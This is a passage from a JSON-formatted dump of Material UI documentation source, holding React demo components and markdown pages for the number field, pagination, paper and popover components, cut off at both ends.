onFocus={props.onFocus}\n              slotProps={{\n                input: {\n                  ...props,\n                  size:\n                    Math.max(\n                      (other.min?.toString() || '').length,\n                      state.inputValue.length || 1,\n                    ) + 1,\n                  sx: {\n                    textAlign: 'center',\n                  },\n                },\n              }}\n              sx={{ pr: 0, borderRadius: 0, flex: 1 }}\n            />\n          )}\n        />\n\n        <BaseNumberField.Increment\n          render={\n            <Button\n              variant=\"outlined\"\n              aria-label=\"Increase\"\n              size={size}\n              sx={{\n                borderTopLeftRadius: 0,\n                borderBottomLeftRadius: 0,\n                borderLeft: '0px',\n                '&.Mui-disabled': {\n                  borderLeft: '0px',\n                },\n              }}\n            />\n          }\n        >\n          <AddIcon fontSize={size} />\n        </BaseNumberField.Increment>\n      </Box>\n    </BaseNumberField.Root>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/number-field/number-field.md",
    "content": "---\nproductId: material-ui\ntitle: Number field React component\ncomponents: Button, IconButton, InputLabel, FormControl, FormLabel, FormHelperText, OutlinedInput\n---\n\n# Number Field\n\n<p class=\"description\">A React component for capturing numeric input from users.</p>\n\n{{\"component\": \"@mui/docs/ComponentLinkHeader\"}}\n\nA number field is an input with increment and decrement buttons for capturing numeric input from users.\n\nMaterial UI does not include a number field component out of the box, but this page provides components composed with the [Base UI `NumberField`](https://base-ui.com/react/components/number-field) and styled to align with Material Design (MD2) specifications, so they can be used with Material UI.\n\nAs such, you must install Base UI before proceeding.\nThe examples that follow can then be copied and pasted directly into your app.\nNote that Base UI is tree-shakeable, so the final bundle will only include the components used in your project.\n\n## Installation\n\n<codeblock storageKey=\"package-manager\">\n\n```bash npm\nnpm install @base-ui/react\n```\n\n```bash pnpm\npnpm add @base-ui/react\n```\n\n```bash yarn\nyarn add @base-ui/react\n```\n\n</codeblock>\n\n## Usage\n\n1. Select one of the demos below that fits your visual design needs.\n2. Click **Expand code** in the toolbar.\n3. Select the file that starts with `./components/`.\n4. Copy the code and paste it into your project.\n\n## Outlined field\n\nThe outlined field uses the same building-block components as Material UI's outlined `TextField`—`FormControl`, `OutlinedInput`, `InputLabel`, and `FormHelperText`—with end adornments for the increment and decrement buttons.\nSee [Text Field—Components](/material-ui/react-text-field/#components) for more details.\n\n{{\"demo\": \"FieldDemo.js\"}}\n\n## Spinner field\n\nFor the spinner field component, the increment and decrement buttons are placed next to the outlined input.\nThis is ideal for touch devices and narrow ranges of values.\n\n{{\"demo\": \"SpinnerDemo.js\"}}\n\n## Base UI API\n\nSee the documentation below for a complete reference to all of the props.\n\n- [`NumberField`](https://base-ui.com/react/components/number-field#api-reference)\n"
  },
  {
    "path": "docs/data/material/components/pagination/BasicPagination.js",
    "content": "import Pagination from '@mui/material/Pagination';\nimport Stack from '@mui/material/Stack';\n\nexport default function BasicPagination() {\n  return (\n    <Stack spacing={2}>\n      <Pagination count={10} />\n      <Pagination count={10} color=\"primary\" />\n      <Pagination count={10} color=\"secondary\" />\n      <Pagination count={10} disabled />\n    </Stack>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/pagination/BasicPagination.tsx",
    "content": "import Pagination from '@mui/material/Pagination';\nimport Stack from '@mui/material/Stack';\n\nexport default function BasicPagination() {\n  return (\n    <Stack spacing={2}>\n      <Pagination count={10} />\n      <Pagination count={10} color=\"primary\" />\n      <Pagination count={10} color=\"secondary\" />\n      <Pagination count={10} disabled />\n    </Stack>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/pagination/BasicPagination.tsx.preview",
    "content": "<Pagination count={10} />\n<Pagination count={10} color=\"primary\" />\n<Pagination count={10} color=\"secondary\" />\n<Pagination count={10} disabled />"
  },
  {
    "path": "docs/data/material/components/pagination/CustomIcons.js",
    "content": "import Pagination from '@mui/material/Pagination';\nimport PaginationItem from '@mui/material/PaginationItem';\nimport Stack from '@mui/material/Stack';\nimport ArrowBackIcon from '@mui/icons-material/ArrowBack';\nimport ArrowForwardIcon from '@mui/icons-material/ArrowForward';\n\nexport default function CustomIcons() {\n  return (\n    <Stack spacing={2}>\n      <Pagination\n        count={10}\n        renderItem={(item) => (\n          <PaginationItem\n            slots={{ previous: ArrowBackIcon, next: ArrowForwardIcon }}\n            {...item}\n          />\n        )}\n      />\n    </Stack>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/pagination/CustomIcons.tsx",
    "content": "import Pagination from '@mui/material/Pagination';\nimport PaginationItem from '@mui/material/PaginationItem';\nimport Stack from '@mui/material/Stack';\nimport ArrowBackIcon from '@mui/icons-material/ArrowBack';\nimport ArrowForwardIcon from '@mui/icons-material/ArrowForward';\n\nexport default function CustomIcons() {\n  return (\n    <Stack spacing={2}>\n      <Pagination\n        count={10}\n        renderItem={(item) => (\n          <PaginationItem\n            slots={{ previous: ArrowBackIcon, next: ArrowForwardIcon }}\n            {...item}\n          />\n        )}\n      />\n    </Stack>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/pagination/CustomIcons.tsx.preview",
    "content": "<Pagination\n  count={10}\n  renderItem={(item) => (\n    <PaginationItem\n      slots={{ previous: ArrowBackIcon, next: ArrowForwardIcon }}\n      {...item}\n    />\n  )}\n/>"
  },
  {
    "path": "docs/data/material/components/pagination/PaginationButtons.js",
    "content": "import Pagination from '@mui/material/Pagination';\nimport Stack from '@mui/material/Stack';\n\nexport default function PaginationButtons() {\n  return (\n    <Stack spacing={2}>\n      <Pagination count={10} showFirstButton showLastButton />\n      <Pagination count={10} hidePrevButton hideNextButton />\n    </Stack>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/pagination/PaginationButtons.tsx",
    "content": "import Pagination from '@mui/material/Pagination';\nimport Stack from '@mui/material/Stack';\n\nexport default function PaginationButtons() {\n  return (\n    <Stack spacing={2}>\n      <Pagination count={10} showFirstButton showLastButton />\n      <Pagination count={10} hidePrevButton hideNextButton />\n    </Stack>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/pagination/PaginationButtons.tsx.preview",
    "content": "<Pagination count={10} showFirstButton showLastButton />\n<Pagination count={10} hidePrevButton hideNextButton />"
  },
  {
    "path": "docs/data/material/components/pagination/PaginationControlled.js",
    "content": "import * as React from 'react';\nimport Typography from '@mui/material/Typography';\nimport Pagination from '@mui/material/Pagination';\nimport Stack from '@mui/material/Stack';\n\nexport default function PaginationControlled() {\n  const [page, setPage] = React.useState(1);\n  const handleChange = (event, value) => {\n    setPage(value);\n  };\n\n  return (\n    <Stack spacing={2}>\n      <Typography>Page: {page}</Typography>\n      <Pagination count={10} page={page} onChange={handleChange} />\n    </Stack>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/pagination/PaginationControlled.tsx",
    "content": "import * as React from 'react';\nimport Typography from '@mui/material/Typography';\nimport Pagination from '@mui/material/Pagination';\nimport Stack from '@mui/material/Stack';\n\nexport default function PaginationControlled() {\n  const [page, setPage] = React.useState(1);\n  const handleChange = (event: React.ChangeEvent<unknown>, value: number) => {\n    setPage(value);\n  };\n\n  return (\n    <Stack spacing={2}>\n      <Typography>Page: {page}</Typography>\n      <Pagination count={10} page={page} onChange={handleChange} />\n    </Stack>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/pagination/PaginationControlled.tsx.preview",
    "content": "<Typography>Page: {page}</Typography>\n<Pagination count={10} page={page} onChange={handleChange} />"
  },
  {
    "path": "docs/data/material/components/pagination/PaginationLink.js",
    "content": "import { Link, MemoryRouter, Route, Routes, useLocation } from 'react-router';\nimport Pagination from '@mui/material/Pagination';\nimport PaginationItem from '@mui/material/PaginationItem';\n\nfunction Content() {\n  const location = useLocation();\n  const query = new URLSearchParams(location.search);\n  const page = parseInt(query.get('page') || '1', 10);\n  return (\n    <Pagination\n      page={page}\n      count={10}\n      renderItem={(item) => (\n        <PaginationItem\n          component={Link}\n          to={`/inbox${item.page === 1 ? '' : `?page=${item.page}`}`}\n          {...item}\n        />\n      )}\n    />\n  );\n}\n\nexport default function PaginationLink() {\n  return (\n    <MemoryRouter initialEntries={['/inbox']} initialIndex={0}>\n      <Routes>\n        <Route path=\"*\" element={<Content />} />\n      </Routes>\n    </MemoryRouter>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/pagination/PaginationLink.tsx",
    "content": "import { Link, MemoryRouter, Route, Routes, useLocation } from 'react-router';\nimport Pagination from '@mui/material/Pagination';\nimport PaginationItem from '@mui/material/PaginationItem';\n\nfunction Content() {\n  const location = useLocation();\n  const query = new URLSearchParams(location.search);\n  const page = parseInt(query.get('page') || '1', 10);\n  return (\n    <Pagination\n      page={page}\n      count={10}\n      renderItem={(item) => (\n        <PaginationItem\n          component={Link}\n          to={`/inbox${item.page === 1 ? '' : `?page=${item.page}`}`}\n          {...item}\n        />\n      )}\n    />\n  );\n}\n\nexport default function PaginationLink() {\n  return (\n    <MemoryRouter initialEntries={['/inbox']} initialIndex={0}>\n      <Routes>\n        <Route path=\"*\" element={<Content />} />\n      </Routes>\n    </MemoryRouter>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/pagination/PaginationLink.tsx.preview",
    "content": "<MemoryRouter initialEntries={['/inbox']} initialIndex={0}>\n  <Routes>\n    <Route path=\"*\" element={<Content />} />\n  </Routes>\n</MemoryRouter>"
  },
  {
    "path": "docs/data/material/components/pagination/PaginationOutlined.js",
    "content": "import Pagination from '@mui/material/Pagination';\nimport Stack from '@mui/material/Stack';\n\nexport default function PaginationOutlined() {\n  return (\n    <Stack spacing={2}>\n      <Pagination count={10} variant=\"outlined\" />\n      <Pagination count={10} variant=\"outlined\" color=\"primary\" />\n      <Pagination count={10} variant=\"outlined\" color=\"secondary\" />\n      <Pagination count={10} variant=\"outlined\" disabled />\n    </Stack>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/pagination/PaginationOutlined.tsx",
    "content": "import Pagination from '@mui/material/Pagination';\nimport Stack from '@mui/material/Stack';\n\nexport default function PaginationOutlined() {\n  return (\n    <Stack spacing={2}>\n      <Pagination count={10} variant=\"outlined\" />\n      <Pagination count={10} variant=\"outlined\" color=\"primary\" />\n      <Pagination count={10} variant=\"outlined\" color=\"secondary\" />\n      <Pagination count={10} variant=\"outlined\" disabled />\n    </Stack>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/pagination/PaginationOutlined.tsx.preview",
    "content": "<Pagination count={10} variant=\"outlined\" />\n<Pagination count={10} variant=\"outlined\" color=\"primary\" />\n<Pagination count={10} variant=\"outlined\" color=\"secondary\" />\n<Pagination count={10} variant=\"outlined\" disabled />"
  },
  {
    "path": "docs/data/material/components/pagination/PaginationRanges.js",
    "content": "import Pagination from '@mui/material/Pagination';\nimport Stack from '@mui/material/Stack';\n\nexport default function PaginationRanges() {\n  return (\n    <Stack spacing={2}>\n      <Pagination count={11} defaultPage={6} siblingCount={0} />\n      <Pagination count={11} defaultPage={6} /> {/* Default ranges */}\n      <Pagination count={11} defaultPage={6} siblingCount={0} boundaryCount={2} />\n      <Pagination count={11} defaultPage={6} boundaryCount={2} />\n    </Stack>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/pagination/PaginationRanges.tsx",
    "content": "import Pagination from '@mui/material/Pagination';\nimport Stack from '@mui/material/Stack';\n\nexport default function PaginationRanges() {\n  return (\n    <Stack spacing={2}>\n      <Pagination count={11} defaultPage={6} siblingCount={0} />\n      <Pagination count={11} defaultPage={6} /> {/* Default ranges */}\n      <Pagination count={11} defaultPage={6} siblingCount={0} boundaryCount={2} />\n      <Pagination count={11} defaultPage={6} boundaryCount={2} />\n    </Stack>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/pagination/PaginationRanges.tsx.preview",
    "content": "<Pagination count={11} defaultPage={6} siblingCount={0} />\n<Pagination count={11} defaultPage={6} /> {/* Default ranges */}\n<Pagination count={11} defaultPage={6} siblingCount={0} boundaryCount={2} />\n<Pagination count={11} defaultPage={6} boundaryCount={2} />"
  },
  {
    "path": "docs/data/material/components/pagination/PaginationRounded.js",
    "content": "import Pagination from '@mui/material/Pagination';\nimport Stack from '@mui/material/Stack';\n\nexport default function PaginationRounded() {\n  return (\n    <Stack spacing={2}>\n      <Pagination count={10} shape=\"rounded\" />\n      <Pagination count={10} variant=\"outlined\" shape=\"rounded\" />\n    </Stack>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/pagination/PaginationRounded.tsx",
    "content": "import Pagination from '@mui/material/Pagination';\nimport Stack from '@mui/material/Stack';\n\nexport default function PaginationRounded() {\n  return (\n    <Stack spacing={2}>\n      <Pagination count={10} shape=\"rounded\" />\n      <Pagination count={10} variant=\"outlined\" shape=\"rounded\" />\n    </Stack>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/pagination/PaginationRounded.tsx.preview",
    "content": "<Pagination count={10} shape=\"rounded\" />\n<Pagination count={10} variant=\"outlined\" shape=\"rounded\" />"
  },
  {
    "path": "docs/data/material/components/pagination/PaginationSize.js",
    "content": "import Pagination from '@mui/material/Pagination';\nimport Stack from '@mui/material/Stack';\n\nexport default function PaginationSize() {\n  return (\n    <Stack spacing={2}>\n      <Pagination count={10} size=\"small\" />\n      <Pagination count={10} />\n      <Pagination count={10} size=\"large\" />\n    </Stack>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/pagination/PaginationSize.tsx",
    "content": "import Pagination from '@mui/material/Pagination';\nimport Stack from '@mui/material/Stack';\n\nexport default function PaginationSize() {\n  return (\n    <Stack spacing={2}>\n      <Pagination count={10} size=\"small\" />\n      <Pagination count={10} />\n      <Pagination count={10} size=\"large\" />\n    </Stack>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/pagination/PaginationSize.tsx.preview",
    "content": "<Pagination count={10} size=\"small\" />\n<Pagination count={10} />\n<Pagination count={10} size=\"large\" />"
  },
  {
    "path": "docs/data/material/components/pagination/TablePaginationDemo.js",
    "content": "import * as React from 'react';\nimport TablePagination from '@mui/material/TablePagination';\n\nexport default function TablePaginationDemo() {\n  const [page, setPage] = React.useState(2);\n  const [rowsPerPage, setRowsPerPage] = React.useState(10);\n\n  const handleChangePage = (event, newPage) => {\n    setPage(newPage);\n  };\n\n  const handleChangeRowsPerPage = (event) => {\n    setRowsPerPage(parseInt(event.target.value, 10));\n    setPage(0);\n  };\n\n  return (\n    <TablePagination\n      component=\"div\"\n      count={100}\n      page={page}\n      onPageChange={handleChangePage}\n      rowsPerPage={rowsPerPage}\n      onRowsPerPageChange={handleChangeRowsPerPage}\n    />\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/pagination/TablePaginationDemo.tsx",
    "content": "import * as React from 'react';\nimport TablePagination from '@mui/material/TablePagination';\n\nexport default function TablePaginationDemo() {\n  const [page, setPage] = React.useState(2);\n  const [rowsPerPage, setRowsPerPage] = React.useState(10);\n\n  const handleChangePage = (\n    event: React.MouseEvent<HTMLButtonElement> | null,\n    newPage: number,\n  ) => {\n    setPage(newPage);\n  };\n\n  const handleChangeRowsPerPage = (\n    event: React.ChangeEvent<HTMLInputElement | HTMLTextAreaElement>,\n  ) => {\n    setRowsPerPage(parseInt(event.target.value, 10));\n    setPage(0);\n  };\n\n  return (\n    <TablePagination\n      component=\"div\"\n      count={100}\n      page={page}\n      onPageChange={handleChangePage}\n      rowsPerPage={rowsPerPage}\n      onRowsPerPageChange={handleChangeRowsPerPage}\n    />\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/pagination/TablePaginationDemo.tsx.preview",
    "content": "<TablePagination\n  component=\"div\"\n  count={100}\n  page={page}\n  onPageChange={handleChangePage}\n  rowsPerPage={rowsPerPage}\n  onRowsPerPageChange={handleChangeRowsPerPage}\n/>"
  },
  {
    "path": "docs/data/material/components/pagination/UsePagination.js",
    "content": "import usePagination from '@mui/material/usePagination';\nimport { styled } from '@mui/material/styles';\n\nconst List = styled('ul')({\n  listStyle: 'none',\n  padding: 0,\n  margin: 0,\n  display: 'flex',\n});\n\nexport default function UsePagination() {\n  const { items } = usePagination({\n    count: 10,\n  });\n\n  return (\n    <nav>\n      <List>\n        {items.map(({ page, type, selected, ...item }, index) => {\n          let children = null;\n\n          if (type === 'start-ellipsis' || type === 'end-ellipsis') {\n            children = '…';\n          } else if (type === 'page') {\n            children = (\n              <button\n                type=\"button\"\n                style={{\n                  fontWeight: selected ? 'bold' : undefined,\n                }}\n                {...item}\n              >\n                {page}\n              </button>\n            );\n          } else {\n            children = (\n              <button type=\"button\" {...item}>\n                {type}\n              </button>\n            );\n          }\n\n          return <li key={index}>{children}</li>;\n        })}\n      </List>\n    </nav>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/pagination/UsePagination.tsx",
    "content": "import usePagination from '@mui/material/usePagination';\nimport { styled } from '@mui/material/styles';\n\nconst List = styled('ul')({\n  listStyle: 'none',\n  padding: 0,\n  margin: 0,\n  display: 'flex',\n});\n\nexport default function UsePagination() {\n  const { items } = usePagination({\n    count: 10,\n  });\n\n  return (\n    <nav>\n      <List>\n        {items.map(({ page, type, selected, ...item }, index) => {\n          let children = null;\n\n          if (type === 'start-ellipsis' || type === 'end-ellipsis') {\n            children = '…';\n          } else if (type === 'page') {\n            children = (\n              <button\n                type=\"button\"\n                style={{\n                  fontWeight: selected ? 'bold' : undefined,\n                }}\n                {...item}\n              >\n                {page}\n              </button>\n            );\n          } else {\n            children = (\n              <button type=\"button\" {...item}>\n                {type}\n              </button>\n            );\n          }\n\n          return <li key={index}>{children}</li>;\n        })}\n      </List>\n    </nav>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/pagination/pagination.md",
    "content": "---\nproductId: material-ui\ntitle: React Pagination component\ncomponents: Pagination, PaginationItem, TablePagination, TablePaginationActions\ngithubLabel: 'scope: pagination'\ngithubSource: packages/mui-material/src/Pagination\n---\n\n# Pagination\n\n<p class=\"description\">The Pagination component enables the user to select a specific page from a range of pages.</p>\n\n{{\"component\": \"@mui/docs/ComponentLinkHeader\"}}\n\n## Basic pagination\n\n{{\"demo\": \"BasicPagination.js\"}}\n\n## Outlined pagination\n\n{{\"demo\": \"PaginationOutlined.js\"}}\n\n## Rounded pagination\n\n{{\"demo\": \"PaginationRounded.js\"}}\n\n## Pagination size\n\n{{\"demo\": \"PaginationSize.js\"}}\n\n## Buttons\n\nYou can optionally enable first-page and last-page buttons, or disable the previous-page and next-page buttons.\n\n{{\"demo\": \"PaginationButtons.js\"}}\n\n## Custom icons\n\nIt's possible to customize the control icons.\n\n{{\"demo\": \"CustomIcons.js\"}}\n\n## Pagination ranges\n\nYou can specify how many digits to display either side of current page with the `siblingCount` prop, and adjacent to the start and end page number with the `boundaryCount` prop.\n\n{{\"demo\": \"PaginationRanges.js\"}}\n\n## Controlled pagination\n\n{{\"demo\": \"PaginationControlled.js\"}}\n\n## Router integration\n\n{{\"demo\": \"PaginationLink.js\"}}\n\n## `usePagination`\n\nFor advanced customization use cases, a headless `usePagination()` hook is exposed.\nIt accepts almost the same options as the Pagination component minus all the props\nrelated to the rendering of JSX.\nThe Pagination component is built on this hook.\n\n```jsx\nimport usePagination from '@mui/material/usePagination';\n```\n\n{{\"demo\": \"UsePagination.js\"}}\n\n## Table pagination\n\nThe `Pagination` component was designed to paginate a list of arbitrary items when infinite loading isn't used.\nIt's preferred in contexts where SEO is important, for instance, a blog.\n\nFor the pagination of a large set of tabular data, you should use the `TablePagination` component.\n\n{{\"demo\": \"TablePaginationDemo.js\"}}\n\n:::warning\nNote that the `Pagination` page prop starts at 1 to match the requirement of including the value in the URL, while the `TablePagination` page prop starts at 0 to match the requirement of zero-based JavaScript arrays that come with rendering a lot of tabular data.\n:::\n\nYou can learn more about this use case in the [table section](/material-ui/react-table/#custom-pagination-options) of the documentation.\n\n## Accessibility\n\n### ARIA\n\nThe root node has a role of \"navigation\" and aria-label \"pagination navigation\" by default. The page items have an aria-label that identifies the purpose of the item (\"go to first page\", \"go to previous page\", \"go to page 1\" etc.).\nYou can override these using the `getItemAriaLabel` prop.\n\n### Keyboard\n\nThe pagination items are in tab order, with a tabindex of \"0\".\n"
  },
  {
    "path": "docs/data/material/components/paper/Elevation.js",
    "content": "import Grid from '@mui/material/Grid';\nimport Paper from '@mui/material/Paper';\nimport Box from '@mui/material/Box';\nimport { createTheme, ThemeProvider, styled } from '@mui/material/styles';\n\nconst Item = styled(Paper)(({ theme }) => ({\n  ...theme.typography.body2,\n  textAlign: 'center',\n  color: theme.palette.text.secondary,\n  height: 60,\n  lineHeight: '60px',\n}));\n\nconst darkTheme = createTheme({ palette: { mode: 'dark' } });\nconst lightTheme = createTheme({ palette: { mode: 'light' } });\n\nexport default function Elevation() {\n  return (\n    <Box sx={{ flexGrow: 1 }}>\n      <Grid container spacing={2}>\n        {[lightTheme, darkTheme].map((theme, index) => (\n          <Grid key={index} size={6}>\n            <ThemeProvider theme={theme}>\n              <Box\n                sx={{\n                  p: 2,\n                  borderRadius: 2,\n                  bgcolor: 'background.default',\n                  display: 'grid',\n                  gridTemplateColumns: { md: '1fr 1fr' },\n                  gap: 2,\n                }}\n              >\n                {[0, 1, 2, 3, 4, 6, 8, 12, 16, 24].map((elevation) => (\n                  <Item key={elevation} elevation={elevation}>\n                    {`elevation=${elevation}`}\n                  </Item>\n                ))}\n              </Box>\n            </ThemeProvider>\n          </Grid>\n        ))}\n      </Grid>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/paper/Elevation.tsx",
    "content": "import Grid from '@mui/material/Grid';\nimport Paper from '@mui/material/Paper';\nimport Box from '@mui/material/Box';\nimport { createTheme, ThemeProvider, styled } from '@mui/material/styles';\n\nconst Item = styled(Paper)(({ theme }) => ({\n  ...theme.typography.body2,\n  textAlign: 'center',\n  color: theme.palette.text.secondary,\n  height: 60,\n  lineHeight: '60px',\n}));\n\nconst darkTheme = createTheme({ palette: { mode: 'dark' } });\nconst lightTheme = createTheme({ palette: { mode: 'light' } });\n\nexport default function Elevation() {\n  return (\n    <Box sx={{ flexGrow: 1 }}>\n      <Grid container spacing={2}>\n        {[lightTheme, darkTheme].map((theme, index) => (\n          <Grid key={index} size={6}>\n            <ThemeProvider theme={theme}>\n              <Box\n                sx={{\n                  p: 2,\n                  borderRadius: 2,\n                  bgcolor: 'background.default',\n                  display: 'grid',\n                  gridTemplateColumns: { md: '1fr 1fr' },\n                  gap: 2,\n                }}\n              >\n                {[0, 1, 2, 3, 4, 6, 8, 12, 16, 24].map((elevation) => (\n                  <Item key={elevation} elevation={elevation}>\n                    {`elevation=${elevation}`}\n                  </Item>\n                ))}\n              </Box>\n            </ThemeProvider>\n          </Grid>\n        ))}\n      </Grid>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/paper/SimplePaper.js",
    "content": "import Box from '@mui/material/Box';\nimport Paper from '@mui/material/Paper';\n\nexport default function SimplePaper() {\n  return (\n    <Box\n      sx={{\n        display: 'flex',\n        flexWrap: 'wrap',\n        '& > :not(style)': {\n          m: 1,\n          width: 128,\n          height: 128,\n        },\n      }}\n    >\n      <Paper elevation={0} />\n      <Paper />\n      <Paper elevation={3} />\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/paper/SimplePaper.tsx",
    "content": "import Box from '@mui/material/Box';\nimport Paper from '@mui/material/Paper';\n\nexport default function SimplePaper() {\n  return (\n    <Box\n      sx={{\n        display: 'flex',\n        flexWrap: 'wrap',\n        '& > :not(style)': {\n          m: 1,\n          width: 128,\n          height: 128,\n        },\n      }}\n    >\n      <Paper elevation={0} />\n      <Paper />\n      <Paper elevation={3} />\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/paper/SimplePaper.tsx.preview",
    "content": "<Paper elevation={0} />\n<Paper />\n<Paper elevation={3} />"
  },
  {
    "path": "docs/data/material/components/paper/SquareCorners.js",
    "content": "import Stack from '@mui/material/Stack';\nimport Paper from '@mui/material/Paper';\nimport { styled } from '@mui/material/styles';\n\nconst DemoPaper = styled(Paper)(({ theme }) => ({\n  width: 120,\n  height: 120,\n  padding: theme.spacing(2),\n  ...theme.typography.body2,\n  textAlign: 'center',\n}));\n\nexport default function SquareCorners() {\n  return (\n    <Stack direction=\"row\" spacing={2}>\n      <DemoPaper square={false}>rounded corners</DemoPaper>\n      <DemoPaper square>square corners</DemoPaper>\n    </Stack>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/paper/SquareCorners.tsx",
    "content": "import Stack from '@mui/material/Stack';\nimport Paper from '@mui/material/Paper';\nimport { styled } from '@mui/material/styles';\n\nconst DemoPaper = styled(Paper)(({ theme }) => ({\n  width: 120,\n  height: 120,\n  padding: theme.spacing(2),\n  ...theme.typography.body2,\n  textAlign: 'center',\n}));\n\nexport default function SquareCorners() {\n  return (\n    <Stack direction=\"row\" spacing={2}>\n      <DemoPaper square={false}>rounded corners</DemoPaper>\n      <DemoPaper square>square corners</DemoPaper>\n    </Stack>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/paper/SquareCorners.tsx.preview",
    "content": "<DemoPaper square={false}>rounded corners</DemoPaper>\n<DemoPaper square>square corners</DemoPaper>"
  },
  {
    "path": "docs/data/material/components/paper/Variants.js",
    "content": "import Stack from '@mui/material/Stack';\nimport Paper from '@mui/material/Paper';\nimport { styled } from '@mui/material/styles';\n\nconst DemoPaper = styled(Paper)(({ theme }) => ({\n  width: 120,\n  height: 120,\n  padding: theme.spacing(2),\n  ...theme.typography.body2,\n  textAlign: 'center',\n}));\n\nexport default function Variants() {\n  return (\n    <Stack direction=\"row\" spacing={2}>\n      <DemoPaper variant=\"elevation\">default variant</DemoPaper>\n      <DemoPaper variant=\"outlined\">outlined variant</DemoPaper>\n    </Stack>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/paper/Variants.tsx",
    "content": "import Stack from '@mui/material/Stack';\nimport Paper from '@mui/material/Paper';\nimport { styled } from '@mui/material/styles';\n\nconst DemoPaper = styled(Paper)(({ theme }) => ({\n  width: 120,\n  height: 120,\n  padding: theme.spacing(2),\n  ...theme.typography.body2,\n  textAlign: 'center',\n}));\n\nexport default function Variants() {\n  return (\n    <Stack direction=\"row\" spacing={2}>\n      <DemoPaper variant=\"elevation\">default variant</DemoPaper>\n      <DemoPaper variant=\"outlined\">outlined variant</DemoPaper>\n    </Stack>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/paper/Variants.tsx.preview",
    "content": "<DemoPaper variant=\"elevation\">default variant</DemoPaper>\n<DemoPaper variant=\"outlined\">outlined variant</DemoPaper>"
  },
  {
    "path": "docs/data/material/components/paper/paper.md",
    "content": "---\nproductId: material-ui\ntitle: React Paper component\ncomponents: Paper\ngithubLabel: 'scope: paper'\nmaterialDesign: https://m2.material.io/design/environment/elevation.html\ngithubSource: packages/mui-material/src/Paper\n---\n\n# Paper\n\n<p class=\"description\">The Paper component is a container for displaying content on an elevated surface.</p>\n\n{{\"component\": \"@mui/docs/ComponentLinkHeader\"}}\n\n## Introduction\n\nIn Material Design, surface components and shadow styles are heavily influenced by their real-world physical counterparts.\n\nMaterial UI implements this concept with the Paper component, a container-like surface that features the [`elevation`](#elevation) prop for pulling box-shadow values from the theme.\n\n:::success\nThe Paper component is ideally suited for designs that follow [Material Design's elevation system](https://m2.material.io/design/environment/elevation.html#elevation-in-material-design), which is meant to replicate how light casts shadows in the physical world.\n\nIf you just need a generic container, you may prefer to use the [Box](/material-ui/react-box/) or [Container](/material-ui/react-container/) components.\n:::\n\n{{\"demo\": \"SimplePaper.js\", \"bg\": true}}\n\n## Component\n\n```jsx\nimport Paper from '@mui/material/Paper';\n```\n\n## Customization\n\n### Elevation\n\nUse the `elevation` prop to establish hierarchy through the use of shadows.\nThe Paper component's default elevation level is `1`.\nThe prop accepts values from `0` to `24`.\nThe higher the number, the further away the Paper appears to be from its background.\n\nIn dark mode, increasing the elevation also makes the background color lighter.\nThis is done by applying a semi-transparent gradient with the `background-image` CSS property.\n\n:::warning\nThe aforementioned dark mode behavior can lead to confusion when overriding the Paper component, because changing the `background-color` property won't affect the lighter shading.\nTo override it, you must either use a new background value, or customize the values for both `background-color` and `background-image`.\n:::\n\n{{\"demo\": \"Elevation.js\", \"bg\": \"outlined\"}}\n\n### Variants\n\nSet the `variant` prop to `\"outlined\"` for a flat, outlined Paper with no shadows:\n\n{{\"demo\": \"Variants.js\", \"bg\": true}}\n\n### Corners\n\nThe Paper component features rounded corners by default.\nAdd the `square` prop for square corners:\n\n{{\"demo\": \"SquareCorners.js\", \"bg\": true}}\n\n## Anatomy\n\nThe Paper component is composed of a single root `<div>` that wraps around its contents:\n\n```html\n<div class=\"MuiPaper-root\">\n  <!-- Paper contents -->\n</div>\n```\n"
  },
  {
    "path": "docs/data/material/components/popover/AnchorPlayground.js",
    "content": "import * as React from 'react';\nimport FormControl from '@mui/material/FormControl';\nimport FormLabel from '@mui/material/FormLabel';\nimport FormControlLabel from '@mui/material/FormControlLabel';\nimport RadioGroup from '@mui/material/RadioGroup';\nimport Radio from '@mui/material/Radio';\nimport Grid from '@mui/material/Grid';\nimport { green } from '@mui/material/colors';\nimport Typography from '@mui/material/Typography';\nimport Box from '@mui/material/Box';\nimport Button from '@mui/material/Button';\nimport Popover from '@mui/material/Popover';\nimport Input from '@mui/material/Input';\nimport InputLabel from '@mui/material/InputLabel';\nimport { HighlightedCode } from '@mui/docs/HighlightedCode';\n\nconst inlineStyles = {\n  anchorVertical: {\n    top: {\n      top: -5,\n    },\n    center: {\n      top: 'calc(50% - 5px)',\n    },\n    bottom: {\n      bottom: -5,\n    },\n  },\n  anchorHorizontal: {\n    left: {\n      left: -5,\n    },\n    center: {\n      left: 'calc(50% - 5px)',\n    },\n    right: {\n      right: -5,\n    },\n  },\n};\n\nfunction AnchorPlayground() {\n  const anchorRef = React.useRef();\n\n  const [state, setState] = React.useState({\n    open: false,\n    anchorOriginVertical: 